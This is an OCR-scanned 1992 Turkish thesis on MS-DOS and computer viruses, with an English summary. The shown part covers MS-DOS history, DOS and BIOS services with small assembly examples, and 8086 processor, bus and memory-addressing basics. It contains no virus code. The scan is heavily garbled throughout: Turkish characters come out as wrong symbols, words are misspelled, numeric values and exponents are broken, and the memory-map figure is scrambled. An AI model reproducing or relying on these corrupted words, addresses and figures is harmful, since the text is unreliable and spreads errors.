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ONSH Z

Cagimizda bilgisayar alaninda kosut olarak hizla ge-
lisen donanim teknikleri ve yazilim liriinleri bilgisayarin
cehresini defistirebilecek nitelikte goriinmektedir.

Yakin bir gelecekte kullanicilar artik isteklerini klawv
yeyi kullanmadan konugsarak bilgisayara ileteceklerdir. Bu
alanda ve difer alanlarda yapilan calismalar ve arastirma-
lar bilgisayar diinyasina yepyeni ufuklar acarken kullani~
clyla bilgisayar arasindaki iletisimide arzu edilen sevi-
yeye cikarmaktadir.

Bu arada istenilen diizeye ulasmada isletim sistemle-
rinin payi pek Dblyliktir. Glnlimiiziin sartlarina uyrun diisen
problemlerine yanit verebilen yeniw&eni isletim sistemleri
gelistirilmekte ya da var olan isletim sistemlerini iyi-
lestirme yollarina gidilmektedir. Son duruma Grnek olarak
MS-DOS isletim sistemini verebiliriz. Ilk siirtiminin ger-
ceklestirildigi 1981 yilindan bugiine defin hizli bir  ge-
lisme cizgisi sergilemigtir. Milyonlari gecen lisansli ko~
yalariyla MS-DQS, kendisiyle uyumlu bircok isletim siste=-
minin gelismesine mani olmustur.

Bu caligmada beni y@nlendiren ve &zellikle kaynak ko-
nusunda yardimlarinl esirgemeyen deferli hocam Doc.Dr.
Mithat Uysal’a tesekkiir ederim,

Istanbul, 1992 Burak Selcuk SOYER
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5ZET

MS-DOS igletim sisteminin genel hatlari ve 6zellik-
leri PC kullanicilari tarafindan az veya ¢ok bilinmektedir,
Bu Onemli nokta goz Oniinde tutularak, ¢alismamizin bir MS-
DOS el kitabi hiiviyetini kazanmasi daha bagtan bir  hedef
olarak diigiiniilmemigtir.

Bu cal.smanin asil gayesi, MS=-DOS igletim sisteminin
teknik yapisina goreceli olarak daha fazla niifuz ederek,
bilgisayar viriislerinin bu teknik olanaklardan ne gekilde
yararlanip sdzlii edilen isletim sistemi altinda nasil bir
yol izleyerek yayildiklarini incelemek olmustur.

Calismanin ikinci ve liglincil bgliimleri bilgisayarin ig¢
¢alismasinin anlasilmasinda onemli ag¢iklamalar getirmekte-
dir.

Dérdiincii bsliim diskin esaslarini ve DOS’un diske Dba-
kis ag¢isini aciklamaya ¢aligmaktadir.

Begineci ve altanci b&liimler DOS isletim sisteminin
yapisiyla ilgili ayrintili aciklamalar sunmaktad.ir.

Yedinci bdliimden itibaren baglayan bilgisayar viris-
leri problemi onbirinei bdliimde son bulmaktadir. Bu bo-
lim ve bunu izleyen bdliimlerde bilgisayar viriislerin yapi-
si, DOS ortamindan nasil yararlandiklari ve bu ortama han-
gi teknikleri kullanarak girdikleri aciklanmaya calisil-
migtir,

Onuncu bdliimde karsitviriis metodlari verilmektedir,
Bu metodlarin. uygulanmasx viriis istilésini dnemli &lclide
engelleyecektir,

Nihayet onbirinci bdliimde sisteme girmeyi basarmis vi-
riislerin teshis edilisleri ve sistemden uzaklastxrmalarl
konusu ele alxnmlst;r.
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SUMMARY
THF. MS-DOS OPERATING SYSTEM AND THE CCMPUTER VIRUS

Genealogy of MS-DOS

MS-DOS is an operating system that is rapidly evolving
Due largely to its adoption by IBM, and to the enormous wa-
ve of third-party software that followed the success of the
IBM PC, MS-DOS has become the dominant operating system for
personal computers that use the Intel 8086 family of mic~
roprocessors.

The progenitor of MS-DOS was an operating system céi-
led 86-D0S, which was written by Tim Paterson for Seattle
Computer Products in mid-1980. At that time, Digital Re-
search’s CP/M-80 was the operating system most commonly u~-
sed on microcomputers, and a decent though not extensive
range of application software (word processors, database
managers, and so forth) was available for use with it. In
order to ease the process of porting 8-bit CP/M-80 appli-
cations into the new 16-bit environment, 86-DOS was ori-
ginally designed to mimic CP/M-80 in both functions avai-
lable and style of operatioh. Consequently, the structu
res of 86-D0S’s file control blocks, program segment pre-
fixes, and executable files were nearly identical to those
of CP/M-80. Existing CP/M programs could be converted me-
chanically (by processing their source-code files through
a special translator program) and, after conversion, would
run under 86-DOS either immediately or with very little
hand editing.

In October 1980, IBM approached the major microcompu-
ters-software houses in search of an operating system for
the new line of personal computers it was designing.



Microsoft had no operating system of its own to offer(other
than a stand-alone version of Microsoft BASIC), but paid a
fee to Seattle Computer Products for the right to sell Pater-
son’s 86-D0S. (At that time, Seattle Computer Products re-
ceived a license to use and sell Microsoftf{s operating sys-
tem.) In July 1981, Microsoft purchased all rights to 86-
DS, made substantial alterations to it, renamed it MS-DOS.
When the first IBM PC was released in the fall of 1981, IBM
of'fered MS-DOS (referred to as PC-DOS 1.0) as its primary
operating system.

In spite of some similarities to its ancestor CP/M-80,
MS-DOS version 1.0 contained a number of improvements over
CP/M, including:

(0 An improved disk-directory structure that inclu-
ded information about a file’s attributes(such as -
whether it was a system or hidden file), its exact
size in bytes, and the date that the file was crea-
ted or last modified.

[0 A superior disk-space allocation and management
and method, allowing extremely fast sequential or
random record access and program loading.

[0 An expanded set of operating-system services,in-
cluding hardware-independent function calls to
set or read the date and time, a filename parser
multiple-block record I/0, and variable record
sizes.

0 An AUTOEXEC batch file to open user-defined se-

ries of commands when the system was powered up
or reset,

IBM was the only major computer manufacturer(sometimes
referred to as OEM, for original equipment manufacturer)to
ship MS-DOS version 1.0 (as PC-DOS 1.0) with its products.
MS-DOS version 1.25 (equivalent to IBM PC-DOS 1.1) was re-
leased in June 1982 to fix a number of bugs, and also to
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support double-sided disks and improved hardware indepen-
dence in the DOS kernel. This version was shipped by se-
veral vendors besides IBM, including Texas Instruments,
Compaq, and Columbia, who all entered the personal-compu-
ter market early. Today, due mainly to the increasing
prevalence of hard-disk-based systems, MS-D0OS version 1
is no longer in common use.

MS-DOS version 2.0 was first released in March 1983,
It was, in retrospect, a totally new operating system (
though great care was taken to maintain compatibility with
MS-DOS version 1.0). It contained many significant inno-
vations and enhanced features, including:

ad

O

Oo0o0a0

Support for both larger-capacity flexible disks

and hard disks.

Many UNIX-like features, including a hierarchi-’
cal file structure, file handles, I/0 redirec-
tion, pipes, and filters.

Background printing (print spooling)
Volume labels, plus additional file attributes.
Installable device drivers

A user-customizable system-configuration file
that controlled the loading of additional devi-
ce drivers, the number of disk buffers, and so
forth.

Maintenance of program environment blocks that
could be used to pass informations between prog-
rams.

An optional ANSI display driver that allowed
programs to position the cursor and control dis-
play characteristics in a hardware-independent
manner

Support for the dynamic allocation, modifica-
tion, and release of memory blocks by applica-
tion programs.

- ¥it -



(O Support for customized user command interpreters
(shells)

[0 system tables to assist application software in
modifying its currency, time, and date formats.

MS-DOS version 3.0 was first introduced by IBM in Au-
gust 1984, with the release of the 80286-based PC/AT machi-
nes, It includes the following features:

O Direct control of the print spooler by applica-
tion software,

{0 Further expansion of international support over
version 2.11

0 Extended error reporting, including a code that
suggests a recovery strategy to the calling prog-
ram. '

0 Support for file and record locking and sharing
facilitaring the creation of networked applica-
tions.

O Support for larger hard disks.

By mid-1986, Microsoft had released MS-DOS version
3.2, to support 3.5" floppy disks and to integrate format-~
ting into the peripheral device driver.[1]

With the introduction of MS-DOS version 4,0 the con-
cept of shell usage was entered. The shell program is any
software that lets the user éccomplishee most of the tasks
the user would otherwise has to accomplish from the DOS
command line., Shell programs tend to install themselves,
take a look around, and present the user with a control
screen. This new feature facilitates the tasks the user
want to achieve.

The MS-DOS version 5.0,releasing in 1991, is continu-
ing this shell concept. Of course, other powerful featu-
res and a great many of innovations are introduced. The
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most important innovation among the others is the task-
switching capability. With this feature, MS=DOS provides
the users by means of disk processing the facility of
passing between programs. An another newness in MS-DOS
5.0 implemented by Microsoft is the full-screen text edi-
tor. With this approach Microsoft seems to have solved a
key matter in point of view of the users.

These and other key innovations and enhanced proper-
ties make the MS-DOS version 5.0 a powerful and a rich de-
signed one. Without a doubt, this evolving of MS-DOS will
continue, introducing newer concepts and tools that allow
the user to accomplish his job more efficiently.

Systems software for the IBM PC

Systems software is software that serves as a control
and interface layer between applications software, such as
Turbo Assembler and Quattro, and the hardware of the com-_
puter,

In particular, systems software handles the complexi-
ties of interfacing to individual devices. TFor example; '
several hundred lines of assembly language code are requi-
red in order for the PC to process a single keystroke, but
but the assembler programs can get keystrokes by invoking
just one system function. This is made possible by the
two main system software components of the PC: DOS and BIOS
(Basic Input/Output System).

In Figure 1., the P0S and BIOS systems software serves
as a control and interface layer between application soft-
ware and the hardware of the IBM PC. Application software
always has the option of controlling the hardware directly,
but should use DOS or BIOS functions instead whenever pos-
sible.

- XV -



L Applications SoRtware

I T T T T T IR NP

Accessed through Int 21h DOS
functions and other interrupts.

b o v e d d e m s - -

Accessed through BIOS
functions by way of several
Interrupts.

(BM PC Hardware
Display adapter, keyboard, printer, disk, mouse, Joystick, and so
on. Accassaed at O ports and/or memory locations, dependlng
on the specific hardware ltem

Fig.1 - DOS and BIOS systems software as a control
and interface layer.

DOS

DOS (short for Disk Operating System) is the program
that controls the computer from the moment it reads the
disk at power-up until one turn the power off. 1It's DOS
that provides the user with the A prompt, and it’s DOS
that accepts and executes commands such as DIR.

That is just the visible part of DOS. It also provi-

des a broad array of functions that are used heavily by
just about every application.

It’s through DOS functions that applications read
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from and write to files, get keystrokes, allocate memory,
run other programs, and even set and get time of day. For
example, the assembler code

mov ah,2 ;DOS function to display a character
mov dl,'A';A is the character to display
int 21h sinvoke DOS to execute the function

invokes the DOS "Display Output" function in order to dis-
play the character A at the current cursor location on the
sgreen,

BIOS

The BIOS is the lowest-level software in the PC; even
DOS uses BIOS functions to control the hardware., It’s bet-
ter to use BIOS functions than to control the hardware di-
rectly, since, like DOS, the BIOS can mask differences bet-
ween various computers and devices. On the other hand,DOS
functions should be used rather than BIOS functions when-
ever it is possible, since programs tﬁat use the BIOS can
conflict with other programs, and tend to be less portable.
accross a variety of computer models., ”

The most pressing reason to use the BIOS is for con-
trolling the display, since DOS provides virtually no sup--
port for the rich display capabilities of the PC. Only by
invoking BIOS functions one can set the screen mode, con-
trol colors, get display adapter information, and so on.
For example, the following code invokes the BIOS to set the
the screen to four-color graphics mode on a CGA:

2 8

mov ah,0 ;BIOS set mode function
mov al,4 ;mode number for 320x200 4-color graphics
int 10h ;execute BIOS video interrupt to set mode

- . XViL =



The BIOS provides a variety of functions other than
those related to display control, including keyatroke-hand
ling and disk control. In general, we are better off per-
forming these tasks through DOS functions.[2]

The computer virus dilemma

Computer viruses are not the only problem facing com-
puter users and systems managers today. Many people are
now wrestling with the problem of choosing their next ope-
rating system- be it 0S/2, UNIX, a DOS extender or a non-
IBM-compatible solution. Managers are trying to decide
which side to root for in the spreadsheet wars, where even
venerable Lotus Development Corporation now offers a multi-
tude of spreadsheets, each called 1-2-3, each with diffe-
rent features and abilities. Nowadays it is no longer suf
ficient to evaluate programs on the basis of their indivi-
dual merits alone; we must decide which interface to stan-
dardize all of our software on- GUI or character-based?

Life in the fast-track world of computing grows more con-

fusing every day.

” dbmplicating matters immensely is the issue of rogue
software-programs designed with no other purpose than to
destroy your hard-earned data. Software bombs, Trojan
horses, worms, computer viruses, and other fiendish soft-
ware devices have entered the fray of personal computing
with a vengeance. Hundreds, perhaps thousands of personal
computers have been affected and infected by rogue compu-
ter software. The loss to businesses, both large and small,
in time, money, and data is unaccountable. And no end is
in sight.

But the sky is not falling. The end is not near. With
a little work, computer viruses and other rogue code can
be understood and managed by all users, from sophisticated
power users to budding novices. The trick is to have ac-
curate, straightforward information at your disposal.l3]

- XYL -



1. GIRris

Bilgisayarlar modern toplumun vazgecilmez bir araci
haline geldiler. Artik c¢oktan iiniversite ve askeri aras-
tirma kuruluslarinin gizli ve kapali odalarindan gikmig ,
hizla gelisen endiistrinin odak noktasani teskil eder duru-
ma gelmiglerdir. Giiniimizde bilgisayarin kullanilmadigi
bir alan gdstermek zordur. Bununla birlikte bilgisayar tek-
nolojisindeki basddndiiriici geligme hic¢bir sekilde bir du~
raklama safhasina da girmis defildir. Bu siiratli ilerle-
menin ne zaman sona erecegini kestirmek kesinlikle olanak
digadar.

Bu gelismelere kosut olarak bilgisayarin yerine geti-
rebilecefi isler de artmistir. Asagida siralananlar  bir
bilgisayarin standart gbrevleri arasinda sayilmaktadir:

0] input diye bilinen, dis diinyadan kabul edilen
bilgiler [{]

] output diye bilinen, dig diinyaya saflanan bilgr?
ler

(g Pbilgilerin sirekli bir sekilde manyetik disk ya
da geritlerde depolanmasi (storing)ﬁl]

slirekli depolama birimlerinden bilgilerin tek-
rar elde edilmesi (retrieving)

0 bilgilerin veri haberleame kanallari Uzerinden
iletilmesi (sending)[3]

0 bilgilerin bir veri haberlesme kanali {izerinden
karsilanmasi yani kabul edilmesi (receiving)

[] bilgilerin cesitlilik arzeden usiillerle iglenme-
si (processing) (4]

Yukarda siralanan maddelerden en tnemlisi coZunlukla
son kategoridir, Bilgisayarin cok ©zli bir tanimani
"bilgi islem makinasi" olarak vermek milmkiindiir. Islem



icinde hesaplamalar da dahildir; fakat bir bilgisayar sade-
ce hesap isleriyle u§ra§madL§Lndan bilgisayarda depolanan
bilgilerin sadece sayisal bilgilerden meydana gelmis olma-
51 gerekli defildir. Bilgisayarlar son derece hizli bir
gsekilde bilgileri saniflandirabilir, gerekli bilgi pargala-
rini secebilir, bilgileri cgesitli yollardan iliskilendire-
bilir ve bilgiye dayali kararlar alabilirler.

Bilgisayar ile birlikte iki olguyu daha zikretmek ge-
kir. Bunlar donanim ve yazilimdir. Bilgisayari gok gile
problemlerin Ustesinden getirten aslinda bu ikilidir. Bu
sebeple bunlari birbirinden ayri diisinmek miimkiin degildir.
Ancak bu ikiliden en cok ilgi gtreni elbette yazilimdair.
Cinkii program gelistirmek icin, ki bunlarin arasinda szel-
likle uygulama programlari yer almaktadir, donanim bilgi-
sine sahip olmak gerekmez.

Bununla birlikte yazilim yelpazesinde hic siphesiz
isletim sistemleri en bilyllk Sneme sahiptirler. En biylifin-
den en kﬁgﬁéﬁne, blitiin genel amacli bilgisayarlarda cali~
san programlar, bir isletim sistemine gereksinim duymakta-
dirlar.

igletiﬁ sistemleri gerceklestirilen en zor yazilimlar
arasinda bilinmektedir. Cinkd{i bu tir yazilimlar yapi ola-
rak birbirinden oldukca farkli bircok fonksiyonu yerine ge-
tirmek zorundadirlar. Bir isletim sisteminin basta gelen
islevi, bilgisayar donanimiyla uygulama programlarl arasi-
na duvar cekmektir. Isletim sisteminin bu yalitica 8zel-
1igi olmadan her uygulama paketi programlari arasinda disk
siiriiciisiinii acmak, diske bilgi yazmak, bunlari ekranda gt~
riintiilemek, klavyenin tuslarina basilip basilmadigini kon-
trol etmek gibi fonksiyon veya yordamlari icermesi gereke-
cektir. Bu, uygulama paketi geligtiren her programciyi te-
kerliZi her defasinda yeniden kesfetmeyi zorlamak demektir.
Bunun yaninda cok c¢esitlilik arzeden disk siirliciler ve ek-
ranlar gtz oniine alinirsa, bir tek uygulama programinin bi-
tlin bunlarin listesinden gelmesi beklenemez. Ancak 1gletim
sistemlerinin tasarlanarak gerceklestirilmesiyle bu sorunlar



ortadan kalkmistir. Clinkii bu tir yazilimlar, bilgisayarin
donanimini en ince ayrintisina kadar bilmektedir. Béyle-
likle isletim sistemleri donanimin her tiirlii  gereksinimi-
ni karsilayabilecek niteliktedir.

Bir isletim sistemi icin gercgekten biyilk bir tnem ta-
Siyan yalitica 6zellifinin hemen ardindan, bu tiir program-
larin, denetleyici ve y¥netici vasiflarina sahip olmalar
gerekmektedir.

MS-DOS (Microsoft-Disk Operating System=Mikrosoft Disk
Isletim Sistemi) veya kisaca DOS yukarda zikredilen 8zellik-
lere haiz olmakla birlikte, kisisel bilgisayarlarda (Per-
sonal Computers/PCs) cok yaygin olarak kullanilan bir isg-
letim sistemidir. Bill Gates ve arkadaslari tarafindan ge-
listirilen bu sistem, IBM'in 16-bit’1lik mikrbigleyici ta-
banli bilgisayarlari icin tasarlanmisti. Bu isletim sis-
teminin IBM kisisel bilgisayar siirlimii PC-DOS adini aldai;IBM
uyumlu makinalardaysa MS-DOS diye anilmaya baslandi. Fakat
yapl olarak bunlarin arasinda bir fark olmadigindan, giini-
milzde bu 1ki isimlendirme birbirinin yerine kullanilmakta-
dir.

DOS igletim aisteminin hizmet anlayisi lic genel kate-
goride toplanabilir. Bunlar sirasiyla aygitlarin yonetimi,
programlarin denetimi ve komutlarin iglenmesidir.[S]

DOS’un yazici, disk, ekran (monitdr), klavye ve bunun
gibi (gevre) aygitlarinin ytnetimiyle ilgili iglemleri, bil-
glsayarain biltiin parcalarinin bir uyum icersinde calismasi-
ni gerekli kilacak her unsuru kapsamaktadir. Bu ise, en al-
cak seviyede aygitlara komutlar iletmeyi ve bunlaran rapor
ettigi hata mesajlariyla mesgul olmayi gerektirmektedir.

Tam bu noktada PC’lerin asal bilegenini teskil eden  ROM-
BIOS gdreve cafrilmaktadar. igletim sistemi bunun yanisi-
ra bilgisayarin aygitlarini denetleme konusunda daha yiik-
sek seviyede bir organizasyon rolinii #stlenmektedir. Bu du-
rum §zellikle disk islemlerinde kendisini agikca gbstermek-
tedir. iqletim sisteminin géreceli olarak baskin gelen



nitelifi bilgilerin disk ilizerine kayit edilis seklinin na~-
81l bir yol izlenerek c¢bzildUgiidir; disk alaninin ybneti-
mi, etkin bir bilgi depolama plani ve bunlarin siiratli ve
givenli bir gekilde tekrar elde edilmeleri, ¢&zilimii bulana-
cak noktalardair.

Program denetimi, DOS isletim sisteminin difer bir bo-
yutunu olusturur, DOS'un bu denetim gdrevi, proglamlari
diskten yliklemek, bir programin icra edilebilmesi i¢in ge-
rekli catiyi (Framework) kurmak ve ayni zamanda programla-
rin hizmetine kogacak servislerl hazirlamak anlaminda an-
lasilmalidar. Daha girift ve sofistike isletim sistemle-
rinde bir programin bellek ve disk erigimleri sinarli tu-
tulmustur. DOS ise bu noktada programlarina tam dbir ser-
bestisi sunmaktadir. DOS altinda isletilen programlar bel-
lefin istenilen bir b¥liimiine erigebildigl gibi, bltin bir
disk alanini kendi istemi dofrultusunda kullanabilmektedir,

DOS igletim sisteminin hizmet yelpazesinde yer alan
Uclinedl gbrev komutlarin islenmesini saglamaktir. Bu nokta-
da DOS, kullaniciyla dofrudan iletisim sekli kurmaktadir.
igletim sistemi bir "A?" igaretli girilintiileyerek kullanici-
ya komut isleme ydniinil gbistermektedir. igletim sistemi o-
larak DOS s&éz konusu oldufunda, komutlarin her biri gergek-
te bir istem Uzere isletilecek programlardir., Daha girift
isletim sistemlerinde komutlarin yetki sahasi daha kapsam-
11 olmaktadir; dyle ki bu komutlar isletim sisteminin ken-
disini denetleyebilecek dlizeyde olabilmektedir, Komutla~-
rin yetki alanlari ne olursa olsun bir isletim sisteminin
kilit noktasi kullanicidan gelen komutlari karsilamak ve
onlar: isletmektir,[S]

{te yandan son dért yildir bilgisayar diinyasinda cok
bilylk bir huzursuzlufa yol agan diizenbaz programlar, bilgi-
sayarin herkesce bilinen glivenilir-makina safatini Sdeta
yirtmig durumdadir. Bunlarin arasinda en cok duyulani ve
dolayasiyla da bilineni bilgisayar viriisleridir. Caligma-
mizin ilerki kisimlarinda ayrzntxlarxyla incelemeye calui-
sacagimiz bu problem icin heniiz tatmin edici bir coziim ge-
tirilememistir.



2. MIKROISLEYicI

Blitiin bilgisayarlarda yer alan mikroisleyici (micro-
processor) programlari calistiran yongadir (chip). Mikro-
isleyici ya da merkezi islem birimi (Central Processing U-
nit+-CPU), bircok hesaplamalari icra eder, sayisal karsilag-
tirmalar yapar ve hafizada sakli programlarin isteklerine
kargilik bilgi transferinde bulunur, (6]

CPU, bilgisayarin temel pperasyonlarlnl kontrol sin-
yalleri ileterek ve bu sinyaileri kabul ederek denetler.
Ayni zamanda bellek adreslemesi yapar ve birbiriyle baglan-
t1l1 tagit (bus) denilen yollar vasitasiyla bilgileri bun-
larain ilzerinde iletir. Bu tagit boyunca, Girdi/Cikti (In-
put/Output-I/0) kapilari (Port), cesitli bellek ve destek
yongalari s8zil edilen tasitla baglanti kurmaktadir. Veri-
ler, CPU’ya ve bilgisayarin difer bilesenlerine gidip ge-
lirken bu kapilarin icinden gecerler.

2.1 8088 Mikroisleylcisi

8088, standart IBM kisisel bilgisayarlarini denetle-
yen 16-bit’"1ik bir isleyicidir. Bilgisayara giren veya
cikan hemen hemen her bit CPU tarafindan iglenmektedir.[0]

8088°in icersinde 14 yazmag (Register) veya saklayici,
bilgi transferi ve igleminden sorumludur. Bu ic¢ yazmaclar,
28 bayt (byte) uzunlufunda bir calisma alani saglamakta
ve gecici olarak verilerin depolanmasi, bellegin adreslen-
mesi, icra gbrecek komutlarin lokasyonlarinin belirlenmesi
gibi islevleri yerine getirmektedirler; ayrica durum ve
kontrol bayraklarini (flags) icermektedirler. Bu yazmacla-
r1 kullanarak 8088, 1 Mb (megabayt) uzunlufunda bir bellek
alanina erigimi miimkin kilmaktadir. |

2.2 8086 Mikroisleyicisi



8086 isleyicinin 8088°den cok kiiclik bir farki vardair.
8088°in kullandifi 8-bit veri tagitina (data bus) karsilik,
8086 16-bit genisliginde veri tasitina sahiptir. Program-
lama agisindan bu iki isleyici birbirine denktir. [6]

2,3 Baglanti kuran parcalar: Tagitlar

Iletisim hatlari olarak ta bilinen tasitlar, bilgisa-
yarin icinde yer alan kontrol parcalarinin paylagtiklari
bir yoldur. Veri, bir bilegenden-belirli bir gérevi Ust-
lenmig elektronik devreden- digerine gectifinde, hedefe u~-
lagmak icin bu ortak yol lizerinde hareket etmektedir. Her
igleyici, her denetleyici yonga ve bellekteki her bayt dog~
rudan veya dolayli olarak bu tasita baglidir.[6]

Bir bilgisayar sistemine giren veya burayi terkeden
veriler, tagit boyunca birbirinden ayri en az bir lokasym-
da gecici olarak tutulmaktadir. Veriler genellikle ana bel-
lekte bulunur; fakat bazilari uygun lokasyonlara gonderil-
mek lizere igleyiciyl beklerken, kisa bir siire icin, kap1.
ya da yazmaclarda beklemek durumunda kalirlar. Genelde ka-
p1 ve yazmaglar bir kerede sadece bir veya iki bayt uzun-
lugundaki bilgiyi tutabilmektedir; ekseriyetle bir yerdem
bir yere iletilecek verileri gecici olarak saklamak icin
kullanilir.

Bir bellek lokasyonu veri depolama yeri olarak kulla-
nlldzglnda, bunun konumu bir adres ile tespit edilmektedir.
Veri iletilmek Uzere hazir duruma getirilir getirilmesz 11k’
olarak hedef adresi, adres tasiti (address bus) lizerinden
gonderilir; arkasindan bu kez veri tasiti boyunca veriler
harekete gegcirilir. Bu suretle tasit birden fazla veri ta-
giyor demektir; ciinkil tasit glic ve kontrol sinyallerini,za-
manlama ve kesme sinyallerini, ayni zamanda yine tagitla i-
ligkilli olan binlerce hatta milyonlarca bellek lokasyonla-
rinin ve'aygltlarlnln adreslerini tasimaktadir.

2.4 Bellek



Bilgisayarin icinde bulunan bellek yongalarinin sayi-
81 ve depolama kapasitesi, programlar ve veriler icin kul-
lanilan bellek miktarani belirlemektedir. Difer taraftan
salt-okunur (ROM) ve rasgele erisimli belleklerin (RAM) ka-
pasiteleri ana kartta yer alan bos yuvalara takilabilen ek
bellek yongalariyla arttiralabilmektedir. Fakat bu bellek
kavraminin sadece fiziksel boyutunu aciklamaktadir. Bir
program, bellegi bir dizi bireysel yongalardan ziyade bin-
lerce veya milyonlarca 8-bit (1-bayt) uzunlufunda, depola-
ma hiicrelerinden olugmus bir dizi olarak goriir; her bir de-
polama hilcresinin kendine ait bir adresi vardar,{6]

Programcilar bellegi bu gekilde diistinmelidir; clinki
onlari ne kadar fiziksel bellegin mevcut oldugu degil, ne
kadar adreslenebilir hafizanin oldugZu ilgilendirecektir.
8088 ve 8086 1 Mb (1024K veya daha kesin olarak 1 048 576
bayt)’a kadar olan bellegi: adresleyebilir. Bu sebeple ig-
leyicilerin miiracaat edebilecegi bayt miktari bu degeri a=
samayacaktir.

2.4.1 CPU adres alani

Her bayt 20-bit’1lik sayisal bir adres ile tespit edil-
mektedir. 8086 bellek gemasanda adresler 20 bit genisg-
ligindedir, cinkidl bit’ler 20-bit’1lik adres tagiti izerinde
ilerlemek zorundadirlar. Bu, 8086°ya OOCOOCH ile FFFFFH a-
rasinda defisen adres deferlerini kullanma imkani vermekte-
dir. (6]

Benzer gekilde 80286 mikroisleyicinin 24-bit adresle-
me gemasli OOOOOOH ile FFFFFFH araliginda ya da 16 Mb’a ka~
dar olan adres degerlerinin kullanimina olanak tanir.80386
mikroisleyicisi 32-bit adresleme yetenigiyle tam olarak
dért gigabayt yani 4 294 967 296 adet bayti dofrudan adres-
leyebilir,

80286 ve 80386, 1 Mb'dan fazla bir bellefe erismesi
miimkiin olmasina ragmen, 8086 ve DOS ile uyumlu programlar,
8086°nin kullanabildigi 1 Mb araliZindaki adres degerleri



ile sinirlanmis clurlar. Bu 1 Mb 1limiti glinimiizde dzel do-
nanim ve yazilim larla asmak miimkiin olmaktadir.

2.4.2 Sistem bellek haritasa

Uzgiin IBM PC Uzerinde, 8088°in 1 Mb adres alani, muh-
telif iglevsel bblgelere ayrilmistir. Asagidaki sekil tu
bslgeleri gostermektedir, (6]

PC/AT ve PS/2 uzatilais bellek
100000R
ROM BIOS ig¢in sakli b¥lge
EOQCOH
Kurulabllir ROM igin sakli bdlge
COCOOH .
GSriintd tamponlara
AOOOCH
DOS’un gegici kisma
Gegicl program bilgesi
{Xullanic: program ve verileri)
DOS‘un kalici kisma
ROM BIOS ve BASIC i
00500 ¢in veri dYlgesi
ROM BI
00400K 0S i¢in veri b¥lgesi
K
" esme vektirleri

Sekil 2.1= PC ve PS/2"lerde bellsk kullanimi taslafa

Yukarda giriilen PC ve PS/2 (Personal System/2) bellek
harita planinin bazilari 8086°nin tasarimiyla ilgilidir.
Stzgelimi, 8086, daima RAM’in ilk 1024 baytinda kesme (in-
terrupt) vektbrlerinin bir dizisini tutmaktadir. Benzer
sekilde, tiim 8086-tabanli mikrobilgisayarlarin ROM’lari ,

1 Mb adres alaninain en yiksek kisminda yer almaktadir. Se-
bebine gelince, 8086°ya ilk kez giic verildiginde, FFFFOH’da



bulunan bir kod parc¢asini caligtirmaktadir; bu nedenle R(OM
burada bulunur.

Bellek haritasinin geriye kalan kismi, adres alaninin
tabaninda bulunan RAM ile tepedeki ROM arasinda kalan ala-
n1 gerektifi gibi paylasirlar. OOOOCH ile 9FFFFH araligin-
daki adresler arasinda maksimum 64CK RAM mevcut olabilir.
Bunu takip eden bellek bloklari yani 640K RAM’1in ist ta~
raflari, video RAM, (AOOOCH-BFFFFH), kurulabilir ROM modiil-
leri (COOOOH-DFFFFH) ve devamli ROM icin sakli bdlgelerdir
(EOOOOH=-FFFFFH).

2,5 8086°nin iletigim kurma bicimi

8086, 80286 ve 80386 cevresinde bulunan elektronik
devrelerle i¢ farkli yoldan etkilesir: (6]

[0 dogrudan ve dolayli bellek erigimiyle
O girdi/cikti kapilariyla

O kesme ismi verilen sinyallerle

Mikroisleyici, bellegi, sayisal adreslerle belirlen~
mis bellek lokasyonlarina deferleri yazarken veya okurken
kullanmaktadir. Bellek lokasyonlarina iki sekilde erisi-
lir: dogrudan bellek erisimi veya mikroigleyicinin ic yaz-
maclariyla. Disk siiriicliler ve seri iletisim kapilari bel-
lege DMA (Direct Memory Access) denetleyicisi ile dogrudan
erigebilirler. Difer biitin aygitlar verileri bellegZe mik-
ro igleyicinin yazmaclari vasitasiyla iletir ya da oraden
alir,

I/0 kapalari mikroigleyicinin, bilgisayarin bellek ha-
ricindeki elektronik bilesenleriyle iletisim kurdugu vasi-
talardar. Bellek lokasyonlarinda oldufu gibi, I/0 kapila-
rl bir sayi ile tanitilir ve veriler herhangi bir kapiya
yazilabilir ya da herhangi bir kapidan okunabilir.

Kesmeler, mikroisleyicinin disindaki devrelerde herhangi
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bir olayin meydana geldifini haber veren arac¢lardar. Or-
ne%in klavyede bir tusa basildigzinda bdyle bir kesme olu~
sur ve bu sinyal mikroisleyiciye iletilerek gerekli islem-
lerin yapilmasini saglar. Kesmeler mikroigleyicinin etra~
findaki donanimla olan etkilesiminde asal rol oynamalarina
ragmen, bu kavram baska amaclar icin de faydali olabilmek-
tedir. Stzgelimi bir program, DOS’dan veya ROM-BIOS sis-
teminden bir hizmet isteminde bulunabilen -bir yazilaim kes-
mesi (software interrupt) retmek icin, INT (INTerrupt) ko~
mutunu kullanabilmektedir.

2,6 8086°nin bellegi adresleme bigimi

8086, 16-bit’"lik bir mikroisleyicidir ve dbu yiizden 16
bit’ten biyilk sayilarla dogrudan islem yapamaz. Kuramsal
olarak bunun anlami, 8086°nin sadece 64K uzunlugundaki bir
bellegi adresleyebilmesidir. Ancak daha tncede belirtil-
digi iizere, sdz konusu isleyici bundan cok daha fazla bir
hafizayl adresleyebilmektedir, Bunu miimkiin kilan, 8086nin
20-bit adresleme planidir. BSylelikle 8086, adresleyebile-..
cegi bellek lokasyonlarinin adedini 24°§§5536)'dan 2%°
(1 048 576)°ya genigletebilir., Fakat buna ragmen 8086 ha- ‘
14 16-bit isleme kapasitesi ile sinirlidar., Yirmi bit’1lik
adreslere erigebilmek igih. 16-bit formatina uygun dilsen
bir adresleme ydntemi kullanilmak zorundadir. (6]

2.6.1 Bdliimlii adresler

8086, adreslenebilir bellek alanini her biri 64K ola-
cak sekilde b¥liimlere (segments) ayirmaktadir. Her bir b5
lilm bir paragraf adresi ile baslar. S8zii gecen bu para-
graf adresi onalti ile tam olarak b&liinebilen bir bayt lo-
kasyonudur. Bireysel olarak baytlara ya da kelimelere (
word=2 bayt) ulagabilmek icin, 1liskili bSlim icersinde
bayti tam olarak belirleyen bir offset kullanilir. Offset-
ler daima bir bdlimiin baslangicina gére dlclilditkleri icin,
bu adreslere gtreceli adresler (offset addresses) de den-
mektedir. [6]
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. Bu gekilde, bdliim ve glreceli adresten meydana gelen
bir b5limld adres (segmented address) ile 8086, 1 Mb uzun-
lufunda bir adres alanini adresleyebilmektedir. 8086, 32-
bit genigliéindeki bir bblimlii adresi, 20-bit genigligin-
deki bir fiziksel adrese (absolute address) doniistilrmek i-
